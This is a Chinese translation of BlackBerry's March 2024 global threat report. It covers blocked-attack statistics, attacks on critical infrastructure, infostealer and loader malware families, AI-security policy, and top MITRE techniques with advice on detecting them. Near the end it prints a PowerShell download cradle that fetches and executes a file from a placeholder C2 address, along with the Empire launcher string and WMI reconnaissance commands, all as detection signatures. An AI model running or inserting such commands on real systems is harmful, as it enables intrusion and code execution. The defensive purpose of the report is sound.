BlackBerry 全球威胁季度报告--2024 年 3 月

从 2023 年 9 月到 12 月，BlackBerry 网络安全解决方案阻止了超过 520 万次网络攻击。尽管本报告期比前几期报告期长，但按天计算的数据显示，与上一期报告相比，本报告期阻止的网络攻击增加了 19%。

此外，我们平均每天观察到约 5,300 个针对我们客户的独特恶意软件样本，本报告期内记录的样本总数超过 63 万个，比上一报告期增加了 27%。

图 2 还显示了BlackBerry 网络安全解决方案记录的独特恶意软件哈希值数量最多的五个国家。美国排名第一，其独特恶意软件的比例最高。独特恶意软件比例最高的第二、第三和第四个国家均位于亚太地区。韩国排名第二，日本（第三）和澳大利亚（第四）紧随其后。加拿大连续第二个报告期位居第五。

从上图 2 可以明显看出，每个国家阻止的攻击总数与记录的唯一哈希值数量并不一定相关。

这些结果背后有许多因素，包括攻击者的动机、攻击的复杂性和攻击的目标。攻击者的目标可能是针对一个国家（或一个特定行业）的普通民众，利用垃圾邮件活动来攻击大众。哈希值可以很容易地被重新散列，这不会影响文件恶意代码的运行，但会改变文件的独特哈希值算法，使其在反恶意软件扫描仪面前显得与众不同。

攻击者还可能使用更多的商品或 "现成 "恶意软件和工具来造成广泛破坏。然而，其他攻击者可能只针对一小群人、一个行业或一家公司。在超目标情况下，威胁行为者可能会以相关公司的个别员工为目标。这些恶意行为者甚至可能通过使用生成式人工智能软件来创建深度伪造，针对非常具体和典型的高价值目标部署更独特的工具和战术。

在上图 3 中，您可以看到从上一报告期到本报告期，不同国家阻止的攻击总数和发现的唯一恶意软件哈希值的变化情况。

• 美国、日本和秘鲁在阻止的攻击总数方面保持不变，而韩国在独特恶意软件方面的排名从第三位上升到第二位，超过了日本。
• 此外，在亚太地区，澳大利亚是本报告所述期间攻击次数最多的国家，仅次于美国，位居第二。在针对客户系统的独特哈希值数量方面，澳大利亚排名第四。      
• BlackBerry根据我们的遥测记录，加拿大的实体在本报告期内受到的攻击数量有所减少，从第二位降至第五位。在本报告所述期间，在我们独特的恶意软件数据中，加拿大保持了第五名的位置。

澳大利亚最近进入了我们阻止攻击次数最多的前五名，这可能源于最近发生的地缘政治事件。2023 年 11 月，澳大利亚信号局（ASD）发布了《2022-2023 年度网络威胁报告》，揭示了澳大利亚政府、企业和个人面临的网络犯罪主要趋势。在报告中，ASD将重点关注核动力潜艇和其他先进军事能力的 AUKUS 合作伙伴关系确定为 "可能成为国家行为者为自己的军事项目窃取知识产权的目标"。 澳大利亚安全局局长接着说，随着澳大利亚 "军事能力的增强，这显然会引起其他行为者对其感兴趣的领域的关注"。

ASD 还报告称，2023 年，澳大利亚各地的个人和企业向执法部门举报的网络犯罪活动接近 94000 起，比上一年增加了 23%，仅勒索软件一项每年就给澳大利亚经济造成高达 30 亿澳元的损失。去年，澳大利亚遭受网络攻击的小型企业平均每家损失近 4.6 万美元，高于上一财年的 3 万美元。

为帮助应对激增的网络活动，澳大利亚安全局宣布启动 "立即行动，保持安全 "网络安全宣传活动，确定个人和中小型企业面临的主要网络威胁。该活动强调了 "立即行动 "应对网络威胁的必要性，指出 "长期以来，澳大利亚公民和企业在全球网络威胁面前只能自求多福"，并提出了 "到 2030 年成为网络安全领域的世界领导者 "的大胆愿景。

关键基础设施

关键基础设施是任何现代社会的支柱，对社会功能的各个方面都至关重要。事实上，美国的 CISA 已将16 个不同部门定义为关键基础设施。这些部门包括交通、医疗保健、能源、通信、金融、国防、工业部门和其他一些部门。

由于许多这些部门的系统和资产在相互关联的数字环境中交织在一起，它们发现自己经常处于网络威胁行为者的攻击范围内，这些行为者出于各种动机试图利用安全配置错误和漏洞。

在上一报告期，这种情况十分明显。 CylanceENDPOINT^™BlackBerry 和其他BlackBerry 网络安全解决方案阻止了 200 多万次针对关键基础设施内各部门的攻击，仅金融部门就遭受了 100 多万次攻击。

此外，政府和公共部门组织受到的攻击最为多样化，超过 36% 的独特哈希值都是针对这一部门的。

针对这些不同部门的网络威胁有可能造成大规模破坏，使其各自实体的关键资产、系统和网络瘫痪或受损。这反过来又会对一个国家的经济安全、公共卫生和社会稳定造成严重影响，无论攻击的规模、国家的经济发展或生活水平如何。

BlackBerry 在本报告所述期间，我们在内部遥测系统中发现了多个针对不同部门的恶意软件系列：

PrivateLoader是一个用 C++ 编写的恶意下载程序家族，自 2021 年首次被发现以来一直被持续观察。该恶意软件通常用于在受害者设备上部署信息窃取程序。根据我们的遥测数据，在本报告期内观察到 PrivateLoader 试图攻击与金融服务、食品和农业以及政府设施相关的系统。  

PrivateLoader 以分发各种复杂的恶意有效载荷而闻名。该恶意软件的分发网络通过地下付费安装（PPI）服务进行管理，该服务为持续使用和开发该恶意软件及其基础设施提供资金。

RisePro是一种商品信息窃取程序，自 2022 年以来一直在野外出现。通过调查 PrivateLoader 的入侵指标（IoC），我们注意到有几个样本试图通过其分发服务部署恶意软件，其中就包括 RisePro。一旦进入受害者的设备，RisePro 就会尝试与其指挥控制 (C2) 通信，非法获取私人和敏感数据，然后将其发送到攻击者的服务器。这些被窃取的数据可以出售给其他恶意第三方，或用于针对受影响受害者的二次活动。

SmokeLoader是一种多用途恶意软件，在以前的报告期内，BlackBerry 。该恶意软件是一个独立的后门，但经常被用作其他恶意软件的传输机制。SmokeLoader 通常通过钓鱼文件或链接无意下载，然后在目标设备上立足。在本报告所述期间，观察到该恶意软件以能源行业为目标。

值得注意的是，在报告所述期间，乌克兰国家网络安全协调中心（NCSCC）发现与 SmokeLoader 有关的攻击激增，目标也是政府组织。SmokeLoader 的强大之处在于它能在受害者的设备上部署其他各种恶意软件。

据了解，SmokeLoader 过去曾投放过大量的信息窃取程序，如Amadey、RedLine和 Vidar，但此外还充当过勒索软件的投放机制。8Base 勒索软件背后的威胁组织曾使用 SmokeLoader 发布Phobos 勒索软件的变种。

PikaBot是 2023 年初出现的一种隐蔽性和躲避性强的恶意软件，全年都是一个突出的威胁。这种模块化恶意软件与QakBot 木马有许多相似之处，可以从其 C2 接收各种指令。在本报告所述期间，PikaBot 在政府和能源部门的实体中被发现。

PikaBot 具有持久性，并有多种功能防止威胁研究人员对其进行分析，包括多种反沙箱/反分析检查。一旦进入受害者的设备，该恶意软件就能接收并运行命令，收集有价值的设备信息，并执行从其 C2 接收到的命令。

商品信息窃取器在本季度也比较活跃。许多信息窃取器都作为 MaaS 出售，并被用于大规模活动。

LummaStealer (LummaC2)是一款基于 C 语言的信息窃取程序，主要从受害者设备中窃取私人和敏感数据。LummaStealer 能够显著获取加密货币钱包数据和双因素身份验证 (2FA) 浏览器扩展数据。在整个报告期间，BlackBerry ，观察到 LummaStealer 以金融机构和政府实体为目标。

记录创造者 (RaccoonStealer)是另一个广泛传播的信息窃取程序，由于一名核心威胁组织成员于 2022 年被捕而暂时关闭。然而，该组织在 2023 年年中又带着更新版本卷土重来。我们的遥测记录显示，RecordBreaker 在本报告期和上一报告期都以医疗保健机构为目标。

RedLine infostealer是BlackBerry在以前的报告中观察到的最多的威胁之一。这个.NET编译的窃取程序非常注重从多个软件和数字平台中进行凭证刮擦和窃取，重点是信用卡信息和加密货币钱包。 

RedLine 通过地下论坛广泛销售，既可以订阅，也可以作为独立产品销售，价格相对低廉。在本报告所述期间，该恶意软件系列主要针对通信和政府部门。

在本报告所述期间，更广泛的网络威胁也非常活跃，世界各地的关键基础设施组织遭受了许多值得注意的攻击。

10 月中旬，位于伊利诺伊州的莫里森社区医院据称是黑猫/ALPHV 勒索软件团伙入侵的受害者，并在其黑暗网站上出现。几周后，医院本身在其网站上发布了一份安全通知，称他们在 9 月下旬遭遇了一起事件，"涉及未经授权方访问我们的网络环境"。不过，通知中并未提及攻击者的姓名，也未提及是否有文件被锁定或盗取。 

11 月，斯洛文尼亚国有能源实体 Holding Slovenske Elektrarne (HSE) 成为勒索软件攻击的受害者。作为该国约 60% 能源生产的提供者，幸运的是，漏洞和文件加密并未阻碍电力的生产或输出。

虽然没有正式点名此案的攻击者，但Rhysida 勒索软件组织可能是罪魁祸首。几周后，该组织在其网站上声称HSE已成为受害者。

11 月份还传出了另一个国有实体遭受勒索软件团伙攻击和入侵的消息。这次受害的是一家国有电信服务公司，该公司在一个月前遭到 RansomEXX 团伙的攻击，多达 6GB 的数据被盗。其中包括许多不同形式的个人身份信息（PII）。报道还指出，一个包含 100 多万客户信息的 CSV 数据文件在暗网上泄露。

RansomEXX（又名 Defray 和 Defray777）是 2018 年首次出现的勒索软件家族。该恶意软件家族既有 Windows 变种，也有 Linux 变种，主要用于对政府机构和制造商的高调利用。RansomEXX 以勒索软件即服务（RaaS）的模式运行，2022 年出现了一个用编程语言 Rust 编写的名为RansomEXX2的变种。

在美国，针对 CISA 所称的 "对 Unitronics 可编程逻辑控制器 (PLC) 的积极利用"，CISA 于 2023 年 11 月 28 日发出警报。这些是用于供水和废水处理设施的计算机。该警报明确指出，这些类型的设施正成为网络威胁行为者的积极攻击目标，并建议其他供水和废水处理设施遵循所有建议的准则和预防措施。

尽管美国联邦调查局（FBI）在 2024 年 2 月试图摧毁LockBit帮派，但该帮派延续了 2023 年 11 月版《全球威胁情报报告》中提到的活动，继续以关键基础设施组织为攻击目标。2023 年圣诞节前夕，LockBit 帮派参与了对德国医院网络 Katholische Hospitalvereinigung Ostwestfalen gGmbH (KHO) 的攻击。清晨的攻击成功入侵并加密了文件数据，导致KHO 三家不同医院的服务严重中断。

LockBit 团伙还利用CVE-2023-4966漏洞（Citrix Bleed 漏洞）获取初始访问权限，瞄准关键基础设施内的其他实体和部门。这导致美国政府发布了一份联合网络安全建议 (CSA)，建议各组织打补丁并遵循所有推荐的缓解指南和最佳实践。

对于那些过去曾受 LockBit 之害的人，现在可以使用文件恢复工具。联邦调查局、欧洲刑警组织、日本警方和国家犯罪问题机构合作，在"不再勒索赎金 "门户网站上提供了这些工具，目前有 37 种语言可供选择。

在过去四个月中，商业企业，尤其是制造业和零售业成为多次袭击的目标。

据报道，11 月，以色列零售商遭到黑客组织Cyber Toufan 的袭击，该组织还袭击了以色列托管公司 Signature-IT。据报道，自 2023 年 11 月以来，在以色列与哈马斯在加沙持续冲突的背景下，该组织针对以色列目标发起了数百次网络行动。许多全球零售商，如宜家，都受到了Signature-IT 攻击的严重影响。该组织在其 Telegram 频道上发布的帖子中声称，他们已经攻击了 150 多名受害者。据报道，他们清除并销毁了 1,000 多台服务器和重要数据库。  

十二月提醒我们，公司面临的最大威胁往往是自身的自满情绪。房地产财富网（Real Estate Wealth Network）托管的一个不受互联网保护的数据库被恶意行为者发现并掠夺。该数据库有 1.16 TB 的数据（约 15 亿条记录），包括房产所有者、卖家的姓名和投资者的详细信息。该数据库是美国房地产数据的中心集合，其中包括政府官员的地址甚至债务信息。

此类攻击的受害者各不相同，取决于勒索软件犯罪集团的目标。2023 年底，最大的服装、鞋类和服饰制造商之一 VF 公司遭到 ALPHV（黑猫）勒索软件组织的攻击。目前，调查尚未结束，但已确认北脸、Timberland 和 Vans 等品牌的 3550 万客户的数据被盗。

世界经济论坛的《2024 年全球风险报告》将网络不安全威胁列为 "未来两年预计最严重的全球风险 "之一。网络攻击拥有日益复杂的技术，包括利用人工智能（AI），人们一致认为，网络攻击将继续具有高度破坏性，并越来越多地针对关键基础设施。 

BlackBerry 遥测技术表明，在本报告所述期间，关键基础设施实体面临着许多攻击。攻击正变得越来越复杂，新型恶意软件技术的使用，包括人工智能生成的恶意软件，增加了关键基础设施瘫痪的风险。世界各国政府已经启动了一系列措施，旨在提高关键基础设施的网络复原力，特别强调防范与恶意使用人工智能有关的风险。

虽然各国政府认识到人工智能具有巨大的潜在益处，包括提高关键基础设施系统的运行效率，但许多人也担心，通过在关键基础设施中部署基于人工智能的系统来推动效率优化，可能会对安全构成严重风险。

为了防止这种情况的发生，各国政府正在呼吁业界在开发和部署功能日益强大的人工智能模型时优先考虑安全问题：

"在过去的四十年里，从互联网的诞生到软件的大规模应用，再到社交媒体的兴起，我们目睹了安全和保障被迫退居次要地位，因为企业优先考虑的是上市速度和功能，而不是安全。人工智能软件的开发和实施必须打破以牺牲安全为代价的速度循环"。

-CISA人工智能路线图

全球各国政府纷纷制定和发布指南，鼓励以 "默认安全 "的方式开发和使用强大的人工智能系统。英国、加拿大、欧盟和七国集团等其他国家和政治联盟也发布了关于负责任地开发和使用先进人工智能系统的指导方针。其中包括全球 20 多个国家网络安全机构认可的联合指导方针，强调人工智能系统的构建者需要在设计、开发、部署和运行人工智能系统时做出知情决定，在系统的整个生命周期内优先考虑安全问题。

此外，2023 年 10 月，美国总统拜登发布了一项关于 "安全、可靠和值得信赖的人工智能 "的行政命令（第 14110 号行政命令），其中包括指示 CISA 评估与关键基础设施部门使用人工智能有关的潜在风险，包括部署人工智能可能使关键基础设施系统更容易遭受故障、物理攻击和网络攻击的方式。  

2023 年 11 月，BlackBerry 宣布与马来西亚政府达成一项具有里程碑意义的网络安全协议，允许他们利用全套可信的BlackBerry 网络安全解决方案，以加强马来西亚的安全态势。作为这项努力的一部分，BlackBerry 与 SANS Institute合作，于 2024 年在马来西亚首都吉隆坡开设了一个先进的网络安全卓越中心 (CCoE)。CCoE 将提供专业培训，以提高马来西亚的网络安全能力和准备程度。BlackBerry 很高兴能帮助马来西亚建立网络安全学习生态系统，特别是在人工智能和机器学习领域，以帮助马来西亚网络安全人才队伍的成长和技能提升，并使印度洋-太平洋地区更加安全。

加拿大总理贾斯汀-特鲁多（Justin Trudeau）说："网络安全是加拿大印度洋-太平洋战略（Indo-Pacific Strategy）的重要支柱，该战略旨在促进该地区的和平、安全与合作。网络安全是一个需要国际合作的共同挑战，这就是为什么我们大力支持在马来西亚建立BlackBerry 网络安全卓越中心的原因，马来西亚是加拿大重要的双边合作伙伴。通过支持马来西亚未来的网络防御者，并为加拿大和东南亚之间共享专业知识建立更强大的区域网络，我们可以进一步加强我们两国和更广泛地区的复原力和能力，以应对、威慑和响应网络威胁"。

在整个报告期内，各国政府和企业不断被提醒注意其网络的脆弱性。2023 年 9 月，有消息称中国黑客入侵了微软的电子邮件平台，从美国国务院账户中窃取了数万封电子邮件。此前有报道称，美国商务部等其他美国政府目标也遭到了类似攻击。最近，在加拿大全球事务部工作的加拿大当局也被披露遭遇了 "长期数据安全漏洞"。

加拿大网络安全中心在其最新的 "国家网络威胁评估"中强调，关键基础设施正日益面临网络威胁活动的风险。国家支持的行为体正积极寻求渗透这些系统，而人工智能等颠覆性技术可能会带来新的威胁。正如本报告所述，澳大利亚的关键基础设施也遭受了多起备受瞩目的网络攻击，其中包括澳大利亚第二大电信公司Optus和最大的私营医疗保险公司Medibank。

工业界也不能幸免于这种威胁，2023 年出现的新法规开始解决这一问题。例如，2023 年 12 月，一套要求上市公司在四天内向美国证券交易委员会披露 "重大 "网络事件的新规则开始生效。在欧洲，欧盟最近通过了《网络复原力法案》，对在欧盟销售的带有数字元素的硬件和软件产品提出了新的网络安全要求。除此之外，欧盟更新的《网络与信息安全指令》还要求采取额外措施，帮助解决关键基础设施实体的网络安全漏洞。

最后，2023 年 11 月，澳大利亚发布了《网络安全战略》，呼吁采取 "全国 "办法保护关键信息，共享威胁情报，推广使用安全可靠的技术产品。

面对不断变化的威胁环境，BlackBerry 一直呼吁必须实现安全的现代化，用基于 "零信任 "和 人工智能驱动的现代网络安全解决方案取代传统技术（如 VPN），这些解决方案可持续评估设备的安全态势，在网络攻击发生之前加以防范。随着威胁行为者开发出更复杂的方法来突破传统或遗留的 IT 安全防护，采用 "零信任 "方法的 "预防为主 "网络安全技术将变得越来越重要。 

未来一年，日益复杂的网络攻击所构成的威胁可能会升级。全球民主国家的官员尤其关注的是，恶意行为者将在多大程度上利用数字技术来破坏民主进程。据估计，2024 年全球 64 个国家49%的人口将前往投票站投票，一些专家开始敲响警钟，选举程序和基础设施也可能成为首要攻击目标。美国政府 CISA 主任珍-伊斯特利警告说："生成式人工智能将放大网络安全风险，使虚假内容更容易、更快速、更便宜地充斥全国。

她接着指出："由于这项技术现在比以往任何时候都更容易获得，功能也更强大，恶意使用这项技术将使包括中国、伊朗和俄罗斯在内的意图破坏美国民主的邪恶行为者有能力为其战术增效，从而对美国选举进程的安全性构成考验。

由 MITRE 公司维护的 "常见漏洞和暴露"（Common Vulnerabilities and Exposures，CVE）系统是一个公开已知漏洞和暴露的信息目录。CVE 系统由美国国土安全部 (DHS) 和 CISA 赞助。

在本报告所述期间，^Cisco®、^Apache®、^Citrix® 和^JetBrains®产品中发现了新的漏洞。这些漏洞的缓解方法已经公布，但某些威胁行为者仍在充分利用未打补丁的系统。

了解威胁组织的高级技术有助于决定哪些检测技术应优先使用。在本报告所述期间，BlackBerry 观察到威胁行为者正在使用以下前 20 种 MITRE 技术。

最后一栏中的向上箭头表示自上次报告以来该技术的使用有所增加。向下箭头表示自上次报告以来使用率有所下降。等号（=）表示该技术与上次报告中的位置相同。

进程注入是一种常见的防御规避技术，当恶意代码被放置在另一个正在运行的进程的地址空间中时，就会被利用。

下面是一系列本地 Windows 函数，通过将它们注入进程，可以滥用这些函数。

按顺序调用的功能（因攻击而异）：

• VirtualAlloc(Ex) - 在进程中分配内存
• WriteProcessMemory() - 在分配的内存中写入恶意代码
• VirtualProtect - 重新保护具有可执行权限的内存
• CreateRemoteThread() - 在另一个进程的上下文中执行恶意代码

攻击者利用定制的信息窃取软件，通过监控图形用户界面（GUI）或记录击键来记录用户对被入侵系统的输入。

BlackBerry 发现，通过监控执行任何形式的输入捕获的异常进程，可以成功识别和修复威胁。

BlackBerry 定义为 "异常 "的常见行为包括无效签名、从非典型父进程生成的子进程以及特定的 Windows API 函数调用。

要监控的函数调用：

• SetWindowsHook(Ex) - 监控桌面输入等事件
• GetKeyboardState() - 获取虚拟按键的当前状态
• GetKeyState() - 获取虚拟键的当前状态
• GetAsyncKeyState() - 获取虚拟键的当前状态

从被入侵的系统中枚举系统信息，可为威胁行为者提供进一步识别弱点和潜在利用载体的环境，从而提升权限并不受限制地访问系统。

通过创建整个网络的共同行为基线并观察异常值，网络安全专业人员可以观察到任何异常情况。

通过滥用 Windows Management Instrumentation (WMI)，威胁行为者可以找到有关防病毒软件、逻辑磁盘和用户的信息，从而确定攻击者可以利用的支点或感兴趣/薄弱环节。然而，对于大多数用户来说，这种调用相对来说是非常规的。监控这些调用的发生可能会识别出受害者系统中的恶意行为者或恶意软件。

以下是可能对监控有用的命令行：

• SELECT * FROM AntiVirusProduct - 用于枚举系统中存在的防病毒产品的 WMI 命令行
• wmic OS get OSArchitecture, Version - 利用 WMI 枚举系统版本信息
• systeminfo - 向用户提供系统信息
• driverquery /v - 列出系统中已安装的驱动器

攻击者可能会利用动态链接库（DLL）的搜索顺序来执行自己的恶意代码。他们的做法是将恶意有效载荷和受害者的合法应用程序放在一起。之后，只要运行合法的可执行文件，就会加载恶意二进制文件，而系统的正常搜索顺序则会被攻击者利用。

此外，应仔细监控 Windows Side-by-Side (SxS) 和系统文件夹等系统位置，以便删除和替换 DLL，因为更高级的对手会试图躲避现代防病毒/端点检测和响应 (EDR) 解决方案。

识别 DLL 侧载的常用方法是监控从回收站、临时文件夹和普通系统路径等异常位置加载模块的情况。

通过使用非应用层协议，敌方试图躲避为检测恶意行为而进行微调的成熟防御系统。从缓解和预防的角度来看，应针对 C2 通信监控 ICMP 等不常用的协议。

BlackBerry 客户可以采取的一种安全且可降低风险的方法是创建自定义规则来监控网络层上的特定字符串，并将这些规则与更先进的行为检测规则结合使用。通过将预防措施与充分的安全存在结合起来，BlackBerry 客户和防御者都可以降低攻击的易感性并提高安全意识。

在上一份报告中，CylanceGUARD 团队发现，在BlackBerry 有客户的所有地区，"通用文件存档外渗暂存 "技术都被滥用。但是，在本报告期内，我们记录了所有地区的 PowerShell 检测模式。

在 EMEA 和 NALA 地区，CylanceGUARD 团队注意到与PowerShell Empire- "Possible Empire Encoded Payload" - 有关的检测有所增加。PowerShell Empire 是一个开源的漏洞后框架，通常被攻击者和合法渗透测试人员/红队使用。

Empire 框架主要侧重于使用 PowerShell 脚本语言攻击 Windows 环境。这样，攻击者就可以与受害者的机器进行通信，从 C2 服务器收发命令和信息。

帝国的一个早期指标是检测到一条命令，如

"powershell -nop -sta -w 1 -enc." 这是 Empire HTTP 监听器的默认启动器字符串。

请注意，攻击者更改或混淆该值的难度很大。不过，在很多情况下，这个值是不会改变的，因此对于检测团队和安全运行中心 (SOC) 分析人员来说，它是一个有效的签名。

在亚太地区，我们发现最常见的威胁已从 "凭证访问"（TA0006）转变为 "执行"（TA0002）。PowerShell 再次成为我们检测到的主要威胁。MITRE 观察到的相关技术是命令和脚本解释器：PowerShell(T1059.001)。在我们的调查过程中，最常观察到的威胁行为者使用的模式是下载摇篮--这是一种用于下载和代码执行的单一命令。

例如

powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('hxxp://x.x.x.x/test[.]exe')

- 这将从可能的 C2 服务器下载并执行 test.exe 文件。

PowerShell 在我们的客户环境中被大量检测到的模式突出表明，确保组织具备适当的可见性和控制措施以限制与 PowerShell 相关的滥用非常重要。

作为CylanceGUARD 产品的一部分，我们的入职团队（称为^ThreatZERO®顾问）与客户密切合作，确保将其设备置于脚本控制块 (SCB - PS) 等推荐策略中，以限制攻击者滥用 PowerShell 等实用程序的能力。

本报告凝聚了我们优秀团队和个人的共同努力。我们要特别感谢

阿德里安-钱伯斯
阿马尔坎特-拉文德兰
戴维-赫加蒂
Dean Given
Geoff O'Rourke
伊斯梅尔-巴伦苏埃拉-埃斯佩霍
雅各布-费雷斯
约翰-德布尔
克里斯托弗-范德库克
纳塔利娅-卡波尼
娜塔莎-罗纳
帕特里克-马蒂西克
佩德罗-德里梅尔
罗纳德-韦尔奇
特拉维斯-霍克斯梅尔
威廉-约翰逊

BlackBerry 《全球威胁情报报告》中包含的信息仅供参考之用。BlackBerry 不保证本报告中引用的任何第三方声明或研究的准确性、完整性和可靠性，也不对此承担任何责任。本报告中的分析反映了我们的研究分析人员目前对现有信息的理解，可能会随着我们了解到的更多信息而发生变化。读者有责任在其私人和职业生活中应用这些信息时进行尽职调查。BlackBerry 不允许恶意使用或滥用本报告中提供的信息。